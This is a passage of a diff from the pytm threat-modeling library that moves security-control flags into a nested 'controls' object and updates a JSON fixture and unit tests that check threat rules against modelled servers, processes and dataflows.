+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
             "description": "",
             "dstPort": -1,
             "findings": [],
-            "implementsAuthenticationScheme": false,
             "implementsCommunicationProtocol": false,
             "inBoundary": null,
             "inScope": true,
-            "isEncrypted": false,
             "isResponse": false,
             "levels": [
                 0
@@ -724,19 +1210,58 @@
             "usesVPN": false
         },
         {
-            "authenticatedWith": false,
-            "authenticatesDestination": false,
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
             "description": "",
             "dstPort": -1,
             "findings": [],
-            "implementsAuthenticationScheme": false,
             "implementsCommunicationProtocol": false,
             "inBoundary": null,
             "inScope": true,
-            "isEncrypted": false,
             "isResponse": false,
             "levels": [
                 0
@@ -759,19 +1284,58 @@
             "usesVPN": false
         },
         {
-            "authenticatedWith": false,
-            "authenticatesDestination": false,
-            "authorizesSource": false,
-            "checksDestinationRevocation": false,
+            "controls": {
+                "authenticatesDestination": false,
+                "authenticatesSource": false,
+                "authenticationScheme": "",
+                "authorizesSource": false,
+                "checksDestinationRevocation": false,
+                "checksInputBounds": false,
+                "definesConnectionTimeout": false,
+                "disablesDTD": false,
+                "disablesiFrames": false,
+                "encodesHeaders": false,
+                "encodesOutput": false,
+                "encryptsCookies": false,
+                "encryptsSessionData": false,
+                "handlesCrashes": false,
+                "handlesInterruptions": false,
+                "handlesResourceConsumption": false,
+                "hasAccessControl": false,
+                "implementsAuthenticationScheme": false,
+                "implementsCSRFToken": false,
+                "implementsNonce": false,
+                "implementsPOLP": false,
+                "implementsServerSideValidation": false,
+                "implementsStrictHTTPValidation": false,
+                "invokesScriptFilters": false,
+                "isEncrypted": false,
+                "isEncryptedAtRest": false,
+                "isHardened": false,
+                "isResilient": false,
+                "providesConfidentiality": false,
+                "providesIntegrity": false,
+                "sanitizesInput": false,
+                "tracksExecutionFlow": false,
+                "usesCodeSigning": false,
+                "usesEncryptionAlgorithm": "",
+                "usesMFA": false,
+                "usesParameterizedInput": false,
+                "usesSecureFunctions": false,
+                "usesStrongSessionIdentifiers": false,
+                "usesVPN": false,
+                "validatesContentType": false,
+                "validatesHeaders": false,
+                "validatesInput": false,
+                "verifySessionIdentifiers": false
+            },
             "data": [],
             "description": "",
             "dstPort": -1,
             "findings": [],
-            "implementsAuthenticationScheme": false,
             "implementsCommunicationProtocol": false,
             "inBoundary": null,
             "inScope": true,
-            "isEncrypted": false,
             "isResponse": false,
             "levels": [
                 0
@@ -801,4 +1365,4 @@
     "onDuplicates": "Action.NO_ACTION",
     "threatsExcluded": [],
     "threatsFile": "pytm/threatlib/threats.json"
-}
+}
\ No newline at end of file
diff --git a/tests/test_private_func.py b/tests/test_private_func.py
index 98f08a0c..17951fd4 100644
--- a/tests/test_private_func.py
+++ b/tests/test_private_func.py
@@ -80,7 +80,9 @@ def test_responses(self):
     def test_defaults(self):
         tm = TM("TM")
         user_data = Data("HTTP")
-        user = Actor("User", data=user_data, authenticatesDestination=True)
+        user = Actor("User", data=user_data)
+        user.controls.authenticatesDestination=True
+
         json_data = Data("JSON")
         server = Server(
             "Server", port=443, protocol="HTTPS", isEncrypted=True, data=json_data
@@ -91,9 +93,10 @@ def test_defaults(self):
             isSQL=True,
             port=5432,
             protocol="PostgreSQL",
-            isEncrypted=False,
             data=sql_resp,
         )
+        db.controls.isEncrypted=False
+
         worker = Process("Task queue worker")
 
         req_get_data = Data("HTTP GET")
@@ -119,49 +122,49 @@ def test_defaults(self):
 
         self.assertEqual(req_get.srcPort, -1)
         self.assertEqual(req_get.dstPort, server.port)
-        self.assertEqual(req_get.isEncrypted, server.isEncrypted)
+        self.assertEqual(req_get.controls.isEncrypted, server.controls.isEncrypted)
         self.assertEqual(
-            req_get.authenticatesDestination, user.authenticatesDestination
+            req_get.controls.authenticatesDestination, user.controls.authenticatesDestination
         )
         self.assertEqual(req_get.protocol, server.protocol)
         self.assertTrue(user.data.issubset(req_get.data))
 
         self.assertEqual(server_query.srcPort, -1)
         self.assertEqual(server_query.dstPort, db.port)
-        self.assertEqual(server_query.isEncrypted, db.isEncrypted)
+        self.assertEqual(server_query.controls.isEncrypted, db.controls.isEncrypted)
         self.assertEqual(
-            server_query.authenticatesDestination, server.authenticatesDestination
+            server_query.controls.authenticatesDestination, server.controls.authenticatesDestination
         )
         self.assertEqual(server_query.protocol, db.protocol)
         self.assertTrue(server.data.issubset(server_query.data))
 
         self.assertEqual(result.srcPort, db.port)
         self.assertEqual(result.dstPort, -1)
-        self.assertEqual(result.isEncrypted, db.isEncrypted)
-        self.assertEqual(result.authenticatesDestination, False)
+        self.assertEqual(result.controls.isEncrypted, db.controls.isEncrypted)
+        self.assertEqual(result.controls.authenticatesDestination, False)
         self.assertEqual(result.protocol, db.protocol)
         self.assertTrue(db.data.issubset(result.data))
 
         self.assertEqual(resp_get.srcPort, server.port)
         self.assertEqual(resp_get.dstPort, -1)
-        self.assertEqual(resp_get.isEncrypted, server.isEncrypted)
-        self.assertEqual(resp_get.authenticatesDestination, False)
+        self.assertEqual(resp_get.controls.isEncrypted, server.controls.isEncrypted)
+        self.assertEqual(resp_get.controls.authenticatesDestination, False)
         self.assertEqual(resp_get.protocol, server.protocol)
         self.assertTrue(server.data.issubset(resp_get.data))
 
         self.assertEqual(req_post.srcPort, -1)
         self.assertEqual(req_post.dstPort, server.port)
-        self.assertEqual(req_post.isEncrypted, server.isEncrypted)
+        self.assertEqual(req_post.controls.isEncrypted, server.controls.isEncrypted)
         self.assertEqual(
-            req_post.authenticatesDestination, user.authenticatesDestination
+            req_post.controls.authenticatesDestination, user.controls.authenticatesDestination
         )
         self.assertEqual(req_post.protocol, server.protocol)
         self.assertTrue(user.data.issubset(req_post.data))
 
         self.assertEqual(resp_post.srcPort, server.port)
         self.assertEqual(resp_post.dstPort, -1)
-        self.assertEqual(resp_post.isEncrypted, server.isEncrypted)
-        self.assertEqual(resp_post.authenticatesDestination, False)
+        self.assertEqual(resp_post.controls.isEncrypted, server.controls.isEncrypted)
+        self.assertEqual(resp_post.controls.authenticatesDestination, False)
         self.assertEqual(resp_post.protocol, server.protocol)
         self.assertTrue(server.data.issubset(resp_post.data))
 
diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index f0e3e90a..28d400da 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -437,25 +437,25 @@ def test_INP01(self):
         lambda1 = Lambda("mylambda")
         process1 = Process("myprocess")
         lambda1.usesEnvironmentVariables = True
-        lambda1.sanitizesInput = False
-        lambda1.checksInputBounds = False
+        lambda1.controls.sanitizesInput = False
+        lambda1.controls.checksInputBounds = False
         process1.usesEnvironmentVariables = True
-        process1.sanitizesInput = False
-        process1.checksInputBounds = False
+        process1.controls.sanitizesInput = False
+        process1.controls.checksInputBounds = False
         threat = threats["INP01"]
         self.assertTrue(threat.apply(lambda1))
         self.assertTrue(threat.apply(process1))
 
     def test_INP02(self):
         process1 = Process("myprocess")
-        process1.checksInputBounds = False
+        process1.controls.checksInputBounds = False
         threat = threats["INP02"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP03(self):
         web = Server("Web")
-        web.sanitizesInput = False
-        web.encodesOutput = False
+        web.controls.sanitizesInput = False
+        web.controls.encodesOutput = False
         threat = threats["INP03"]
         self.assertTrue(threat.apply(web))
 
@@ -475,8 +475,8 @@ def test_CR01(self):
 
     def test_INP04(self):
         web = Server("Web Server")
-        web.validatesInput = False
-        web.validatesHeaders = False
+        web.controls.validatesInput = False
+        web.controls.validatesHeaders = False
         web.protocol = "HTTP"
         threat = threats["INP04"]
         self.assertTrue(threat.apply(web))
@@ -485,13 +485,13 @@ def test_CR02(self):
         user = Actor("User")
         web = Server("Web Server")
         web.protocol = "HTTP"
-        web.sanitizesInput = False
-        web.validatesInput = False
+        web.controls.sanitizesInput = False
+        web.controls.validatesInput = False
         web.usesSessionTokens = True
         user_to_web = Dataflow(user, web, "User enters comments (*)")
         user_to_web.protocol = "HTTP"
-        user_to_web.sanitizesInput = False
-        user_to_web.validatesInput = False
+        user_to_web.controls.sanitizesInput = False
+        user_to_web.controls.validatesInput = False
         user_to_web.usesSessionTokens = True
         threat = threats["CR02"]
         self.assertTrue(threat.apply(web))
@@ -499,15 +499,15 @@ def test_CR02(self):
 
     def test_INP05(self):
         web = Server("Web Server")
-        web.validatesInput = False
+        web.controls.validatesInput = False
         threat = threats["INP05"]
         self.assertTrue(threat.apply(web))
 
     def test_INP06(self):
         web = Server("Web Server")
         web.protocol = "SOAP"
-        web.sanitizesInput = False
-        web.validatesInput = False
+        web.controls.sanitizesInput = False
+        web.controls.validatesInput = False
         threat = threats["INP06"]
         self.assertTrue(threat.apply(web))
 
@@ -522,12 +522,12 @@ def test_SC01(self):
     def test_LB01(self):
         process1 = Process("Process1")
         process1.implementsAPI = True
-        process1.validatesInput = False
-        process1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
         lambda1 = Lambda("Lambda1")
         lambda1.implementsAPI = True
-        lambda1.validatesInput = False
-        lambda1.sanitizesInput = False
+        lambda1.controls.validatesInput = False
+        lambda1.controls.sanitizesInput = False
         threat = threats["LB01"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -543,9 +543,9 @@ def test_AA01(self):
 
     def test_DS01(self):
         web = Server("Web Server")
-        web.sanitizesInput = False
-        web.validatesInput = False
-        web.encodesOutput = False
+        web.controls.sanitizesInput = False
+        web.controls.validatesInput = False
+        web.controls.encodesOutput = False
         threat = threats["DS01"]
         self.assertTrue(threat.apply(web))
 
@@ -554,17 +554,17 @@ def test_DE01(self):
         web = Server("Web Server")
         user_to_web = Dataflow(user, web, "User enters comments (*)")
         user_to_web.protocol = "HTTP"
-        user_to_web.isEncrypted = False
+        user_to_web.controls.isEncrypted = False
         threat = threats["DE01"]
         self.assertTrue(threat.apply(user_to_web))
 
     def test_DE02(self):
         web = Server("Web Server")
         process1 = Process("Process1")
-        web.validatesInput = False
-        web.sanitizesInput = False
-        process1.validatesInput = False
-        process1.sanitizesInput = False
+        web.controls.validatesInput = False
+        web.controls.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
         threat = threats["DE02"]
         self.assertTrue(threat.apply(web))
         self.assertTrue(threat.apply(process1))
@@ -582,12 +582,12 @@ def test_AC01(self):
         web = Server("Web Server")
         process1 = Process("Process1")
         db = Datastore("DB")
-        web.hasAccessControl = False
-        web.authorizesSource = True
-        process1.hasAccessControl = False
-        process1.authorizesSource = False
-        db.hasAccessControl = False
-        db.authorizesSource = False
+        web.controls.hasAccessControl = False
+        web.controls.authorizesSource = True
+        process1.controls.hasAccessControl = False
+        process1.controls.authorizesSource = False
+        db.controls.hasAccessControl = False
+        db.controls.authorizesSource = False
         threat = threats["AC01"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(web))
@@ -595,7 +595,7 @@ def test_AC01(self):
 
     def test_INP07(self):
         process1 = Process("Process1")
-        process1.usesSecureFunctions = False
+        process1.controls.usesSecureFunctions = False
         threat = threats["INP07"]
         self.assertTrue(threat.apply(process1))
 
@@ -608,8 +608,8 @@ def test_AC02(self):
     def test_DO01(self):
         process1 = Process("Process1")
         web = Server("Web Server")
-        process1.handlesResourceConsumption = False
-        process1.isResilient = False
+        process1.controls.handlesResourceConsumption = False
+        process1.controls.isResilient = False
         web.handlesResourceConsumption = True
         threat = threats["DO01"]
         self.assertTrue(threat.apply(process1))
@@ -617,8 +617,8 @@ def test_DO01(self):
 
     def test_HA01(self):
         web = Server("Web Server")
-        web.validatesInput = False
-        web.sanitizesInput = False
+        web.controls.validatesInput = False
+        web.controls.sanitizesInput = False
         threat = threats["HA01"]
         self.assertTrue(threat.apply(web))
 
@@ -626,13 +626,13 @@ def test_AC03(self):
         process1 = Process("Process1")
         lambda1 = Lambda("Lambda1")
         process1.usesEnvironmentVariables = True
-        process1.implementsAuthenticationScheme = False
-        process1.validatesInput = False
-        process1.authorizesSource = False
+        process1.controls.implementsAuthenticationScheme = False
+        process1.controls.validatesInput = False
+        process1.controls.authorizesSource = False
         lambda1.usesEnvironmentVariables = True
-        lambda1.implementsAuthenticationScheme = False
-        lambda1.validatesInput = False
-        lambda1.authorizesSource = False
+        lambda1.controls.implementsAuthenticationScheme = False
+        lambda1.controls.validatesInput = False
+        lambda1.controls.authorizesSource = False
         threat = threats["AC03"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -642,10 +642,10 @@ def test_DO02(self):
         lambda1 = Lambda("Lambda1")
         web = Server("Web Server")
         db = Datastore("DB")
-        process1.handlesResourceConsumption = False
-        lambda1.handlesResourceConsumption = False
-        web.handlesResourceConsumption = False
-        db.handlesResourceConsumption = False
+        process1.controls.handlesResourceConsumption = False
+        lambda1.controls.handlesResourceConsumption = False
+        web.controls.handlesResourceConsumption = False
+        db.controls.handlesResourceConsumption = False
         threat = threats["DO02"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -665,12 +665,12 @@ def test_INP08(self):
         process1 = Process("Process1")
         lambda1 = Lambda("Lambda1")
         web = Server("Web Server")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
-        lambda1.validatesInput = False
-        lambda1.sanitizesInput = False
-        web.validatesInput = False
-        web.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
+        lambda1.controls.validatesInput = False
+        lambda1.controls.sanitizesInput = False
+        web.controls.validatesInput = False
+        web.controls.sanitizesInput = False
         threat = threats["INP08"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -678,30 +678,30 @@ def test_INP08(self):
 
     def test_INP09(self):
         web = Server("Web Server")
-        web.validatesInput = False
+        web.controls.validatesInput = False
         threat = threats["INP09"]
         self.assertTrue(threat.apply(web))
 
     def test_INP10(self):
         web = Server("Web Server")
-        web.validatesInput = False
+        web.controls.validatesInput = False
         threat = threats["INP10"]
         self.assertTrue(threat.apply(web))
 
     def test_INP11(self):
         web = Server("Web Server")
-        web.validatesInput = False
-        web.sanitizesInput = False
+        web.controls.validatesInput = False
+        web.controls.sanitizesInput = False
         threat = threats["INP11"]
         self.assertTrue(threat.apply(web))
 
     def test_INP12(self):
         process1 = Process("Process1")
         lambda1 = Lambda("Lambda1")
-        process1.checksInputBounds = False
-        process1.validatesInput = False
-        lambda1.checksInputBounds = False
-        lambda1.validatesInput = False
+        process1.controls.checksInputBounds = False
+        process1.controls.validatesInput = False
+        lambda1.controls.checksInputBounds = False
+        lambda1.controls.validatesInput = False
         threat = threats["INP12"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -732,15 +732,15 @@ def test_AC05(self):
         process1.authenticatesDestination = False
         proc_to_web = Dataflow(process1, web, "Process calls a web API")
         proc_to_web.protocol = "HTTPS"
-        proc_to_web.isEncrypted = True
+        proc_to_web.controls.isEncrypted = True
         threat = threats["AC05"]
         self.assertTrue(threat.apply(proc_to_web))
 
     def test_INP13(self):
         process1 = Process("Process1")
         lambda1 = Lambda("Lambda1")
-        process1.validatesInput = False
-        lambda1.validatesInput = False
+        process1.controls.validatesInput = False
+        lambda1.controls.validatesInput = False
         threat = threats["INP13"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -749,9 +749,9 @@ def test_INP14(self):
         process1 = Process("Process1")
         lambda1 = Lambda("Lambda1")
         web = Server("Web Server")
-        process1.validatesInput = False
-        lambda1.validatesInput = False
-        web.validatesInput = False
+        process1.controls.validatesInput = False
+        lambda1.controls.validatesInput = False
+        web.controls.validatesInput = False
         threat = threats["INP14"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -762,7 +762,7 @@ def test_DE03(self):
         web = Server("Web Server")
         user_to_web = Dataflow(user, web, "User enters comments (*)")
         user_to_web.protocol = "HTTP"
-        user_to_web.isEncrypted = False
+        user_to_web.controls.isEncrypted = False
         user_to_web.usesVPN = False
         threat = threats["DE03"]
         self.assertTrue(threat.apply(user_to_web))
@@ -780,9 +780,9 @@ def test_API02(self):
         process1 = Process("Process1")
         lambda1 = Lambda("Lambda1")
         process1.implementsAPI = True
-        process1.validatesInput = False
+        process1.controls.validatesInput = False
         lambda1.implementsAPI = True
-        lambda1.validatesInput = False
+        lambda1.controls.validatesInput = False
         threat = threats["API02"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -802,35 +802,35 @@ def test_DS03(self):
     def test_AC06(self):
         web = Server("Web Server")
         web.isHardened = False
-        web.hasAccessControl = False
+        web.controls.hasAccessControl = False
         threat = threats["AC06"]
         self.assertTrue(threat.apply(web))
 
     def test_HA03(self):
         web = Server("Web Server")
-        web.validatesHeaders = False
-        web.encodesOutput = False
+        web.controls.validatesHeaders = False
+        web.controls.encodesOutput = False
         web.isHardened = False
         threat = threats["HA03"]
         self.assertTrue(threat.apply(web))
 
     def test_SC02(self):
         web = Server("Web Server")
-        web.validatesInput = False
-        web.encodesOutput = False
+        web.controls.validatesInput = False
+        web.controls.encodesOutput = False
         threat = threats["SC02"]
         self.assertTrue(threat.apply(web))
 
     def test_AC07(self):
         web = Server("Web Server")
-        web.hasAccessControl = False
+        web.controls.hasAccessControl = False
         threat = threats["AC07"]
         self.assertTrue(threat.apply(web))
 
     def test_INP15(self):
         web = Server("Web Server")
         web.protocol = "IMAP"
-        web.sanitizesInput = False
+        web.controls.sanitizesInput = False
         threat = threats["INP15"]
         self.assertTrue(threat.apply(web))
 
@@ -842,15 +842,15 @@ def test_HA04(self):
 
     def test_SC03(self):
         web = Server("Web Server")
-        web.validatesInput = False
-        web.sanitizesInput = False
-        web.hasAccessControl = False
+        web.controls.validatesInput = False
+        web.controls.sanitizesInput = False
+        web.controls.hasAccessControl = False
         threat = threats["SC03"]
         self.assertTrue(threat.apply(web))
 
     def test_INP16(self):
         web = Server("Web Server")
-        web.validatesInput = False
+        web.controls.validatesInput = False
         threat = threats["INP16"]
         self.assertTrue(threat.apply(web))
 
@@ -883,34 +883,34 @@ def test_DO04(self):
 
     def test_DS04(self):
         web = Server("Web Server")
-        web.encodesOutput = False
-        web.validatesInput = False
-        web.sanitizesInput = False
+        web.controls.encodesOutput = False
+        web.controls.validatesInput = False
+        web.controls.sanitizesInput = False
         threat = threats["DS04"]
         self.assertTrue(threat.apply(web))
 
     def test_SC04(self):
         web = Server("Web Server")
-        web.sanitizesInput = False
-        web.validatesInput = False
-        web.encodesOutput = False
+        web.controls.sanitizesInput = False
+        web.controls.validatesInput = False
+        web.controls.encodesOutput = False
         threat = threats["SC04"]
         self.assertTrue(threat.apply(web))
 
     def test_CR05(self):
         web = Server("Web Server")
         db = Datastore("db")
-        web.usesEncryptionAlgorithm != "RSA"
-        web.usesEncryptionAlgorithm != "AES"
-        db.usesEncryptionAlgorithm != "RSA"
-        db.usesEncryptionAlgorithm != "AES"
+        web.controls.usesEncryptionAlgorithm != "RSA"
+        web.controls.usesEncryptionAlgorithm != "AES"
+        db.controls.usesEncryptionAlgorithm != "RSA"
+        db.controls.usesEncryptionAlgorithm != "AES"
         threat = threats["CR05"]
         self.assertTrue(threat.apply(web))
         self.assertTrue(threat.apply(db))
 
     def test_AC08(self):
         web = Server("Web Server")
-        web.hasAccessControl = False
+        web.controls.hasAccessControl = False
         threat = threats["AC08"]
         self.assertTrue(threat.apply(web))
 
@@ -964,13 +964,13 @@ def create_dataflow(
     def test_SC05(self):
         web = Server("Web Server")
         web.providesIntegrity = False
-        web.usesCodeSigning = False
+        web.controls.usesCodeSigning = False
         threat = threats["SC05"]
         self.assertTrue(threat.apply(web))
 
     def test_INP17(self):
         web = Server("Web Server")
-        web.validatesContentType = False
+        web.controls.validatesContentType = False
         web.invokesScriptFilters = False
         threat = threats["INP17"]
         self.assertTrue(threat.apply(web))
@@ -979,21 +979,21 @@ def test_AA03(self):
         web = Server("Web Server")
         web.providesIntegrity = False
         web.authenticatesSource = False
-        web.usesStrongSessionIdentifiers = False
+        web.controls.usesStrongSessionIdentifiers = False
         threat = threats["AA03"]
         self.assertTrue(threat.apply(web))
 
     def test_AC09(self):
         web = Server("Web Server")
-        web.hasAccessControl = False
+        web.controls.hasAccessControl = False
         web.authorizesSource = False
         threat = threats["AC09"]
         self.assertTrue(threat.apply(web))
 
     def test_INP18(self):
         web = Server("Web Server")
-        web.sanitizesInput = False
-        web.encodesOutput = False
+        web.controls.sanitizesInput = False
+        web.controls.encodesOutput = False
         threat = threats["INP18"]
         self.assertTrue(threat.apply(web))
 
@@ -1016,7 +1016,7 @@ def test_AC10(self):
         web.authorizesSource = False
         user_to_web = Dataflow(user, web, "User enters comments (*)")
         user_to_web.protocol = "HTTPS"
-        user_to_web.isEncrypted = True
+        user_to_web.controls.isEncrypted = True
         user_to_web.tlsVersion = TLSVersion.SSLv3
         web.inputs = [user_to_web]
         threat = threats["AC10"]
@@ -1046,7 +1046,7 @@ def test_CR08(self):
         web.minTLSVersion = TLSVersion.TLSv11
         user_to_web = Dataflow(user, web, "User enters comments (*)")
         user_to_web.protocol = "HTTPS"
-        user_to_web.isEncrypted = True
+        user_to_web.controls.isEncrypted = True
         user_to_web.tlsVersion = TLSVersion.SSLv3
         threat = threats["CR08"]
         self.assertTrue(threat.apply(user_to_web))
@@ -1066,7 +1066,7 @@ def test_INP20(self):
 
     def test_AC11(self):
         web = Server("Web Server")
-        web.usesStrongSessionIdentifiers = False
+        web.controls.usesStrongSessionIdentifiers = False
         threat = threats["AC11"]
         self.assertTrue(threat.apply(web))
 
@@ -1086,16 +1086,16 @@ def test_INP22(self):
 
     def test_INP23(self):
         process1 = Process("Process")
-        process1.hasAccessControl = False
-        process1.sanitizesInput = False
-        process1.validatesInput = False
+        process1.controls.hasAccessControl = False
+        process1.controls.sanitizesInput = False
+        process1.controls.validatesInput = False
         threat = threats["INP23"]
         self.assertTrue(threat.apply(process1))
 
     def test_DO05(self):
         web = Server("Web Server")
-        web.validatesInput = False
-        web.sanitizesInput = False
+        web.controls.validatesInput = False
+        web.controls.sanitizesInput = False
         web.usesXMLParser = True
         threat = threats["DO05"]
         self.assertTrue(threat.apply(web))
@@ -1103,32 +1103,32 @@ def test_DO05(self):
     def test_AC12(self):
         process1 = Process("Process")
         process1.hasAccessControl = False
-        process1.implementsPOLP = False
+        process1.controls.implementsPOLP = False
         threat = threats["AC12"]
         self.assertTrue(threat.apply(process1))
 
     def test_AC13(self):
         process1 = Process("Process")
         process1.hasAccessControl = False
-        process1.implementsPOLP = False
+        process1.controls.implementsPOLP = False
         threat = threats["AC13"]
         self.assertTrue(threat.apply(process1))
 
     def test_AC14(self):
         process1 = Process("Process")
-        process1.implementsPOLP = False
+        process1.controls.implementsPOLP = False
         process1.usesEnvironmentVariables = False
-        process1.validatesInput = False
+        process1.controls.validatesInput = False
         threat = threats["AC14"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP24(self):
         process1 = Process("Process")
         lambda1 = Lambda("lambda")
-        process1.checksInputBounds = False
-        process1.validatesInput = False
-        lambda1.checksInputBounds = False
-        lambda1.validatesInput = False
+        process1.controls.checksInputBounds = False
+        process1.controls.validatesInput = False
+        lambda1.controls.checksInputBounds = False
+        lambda1.controls.validatesInput = False
         threat = threats["INP24"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -1136,10 +1136,10 @@ def test_INP24(self):
     def test_INP25(self):
         process1 = Process("Process")
         lambda1 = Lambda("lambda")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
-        lambda1.validatesInput = False
-        lambda1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
+        lambda1.controls.validatesInput = False
+        lambda1.controls.sanitizesInput = False
         threat = threats["INP25"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
@@ -1147,30 +1147,30 @@ def test_INP25(self):
     def test_INP26(self):
         process1 = Process("Process")
         lambda1 = Lambda("lambda")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
-        lambda1.validatesInput = False
-        lambda1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
+        lambda1.controls.validatesInput = False
+        lambda1.controls.sanitizesInput = False
         threat = threats["INP26"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(lambda1))
 
     def test_INP27(self):
         process1 = Process("Process")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
         threat = threats["INP27"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP28(self):
         web = Server("Web Server")
         process1 = Process("Process")
-        web.validatesInput = False
-        web.sanitizesInput = False
-        web.encodesOutput = False
-        process1.validatesInput = False
-        process1.sanitizesInput = False
-        process1.encodesOutput = False
+        web.controls.validatesInput = False
+        web.controls.sanitizesInput = False
+        web.controls.encodesOutput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
+        process1.controls.encodesOutput = False
         threat = threats["INP28"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(web))
@@ -1178,135 +1178,135 @@ def test_INP28(self):
     def test_INP29(self):
         web = Server("Web Server")
         process1 = Process("Process")
-        web.validatesInput = False
-        web.sanitizesInput = False
-        web.encodesOutput = False
-        process1.validatesInput = False
-        process1.sanitizesInput = False
-        process1.encodesOutput = False
+        web.controls.validatesInput = False
+        web.controls.sanitizesInput = False
+        web.controls.encodesOutput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
+        process1.controls.encodesOutput = False
         threat = threats["INP29"]
         self.assertTrue(threat.apply(process1))
         self.assertTrue(threat.apply(web))
 
     def test_INP30(self):
         process1 = Process("Process")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
         threat = threats["INP30"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP31(self):
         process1 = Process("Process")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
-        process1.usesParameterizedInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
+        process1.controls.usesParameterizedInput = False
         threat = threats["INP31"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP32(self):
         process1 = Process("Process")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
-        process1.encodesOutput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
+        process1.controls.encodesOutput = False
         threat = threats["INP32"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP33(self):
         process1 = Process("Process")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
         threat = threats["INP33"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP34(self):
         web = Server("web")
-        web.checksInputBounds = False
+        web.controls.checksInputBounds = False
         threat = threats["INP34"]
         self.assertTrue(threat.apply(web))
 
     def test_INP35(self):
         process1 = Process("Process")
-        process1.validatesInput = False
-        process1.sanitizesInput = False
+        process1.controls.validatesInput = False
+        process1.controls.sanitizesInput = False
         threat = threats["INP35"]
         self.assertTrue(threat.apply(process1))
 
     def test_DE04(self):
         data = Datastore("DB")
-        data.validatesInput = False
-        data.implementsPOLP = False
+        data.controls.validatesInput = False
+        data.controls.implementsPOLP = False
         threat = threats["DE04"]
         self.assertTrue(threat.apply(data))
 
     def test_AC15(self):
         process1 = Process("Process")
-        process1.implementsPOLP = False
+        process1.controls.implementsPOLP = False
         threat = threats["AC15"]
         self.assertTrue(threat.apply(process1))
 
     def test_INP36(self):
         web = Server("web")
         web.implementsStrictHTTPValidation = False
-        web.encodesHeaders = False
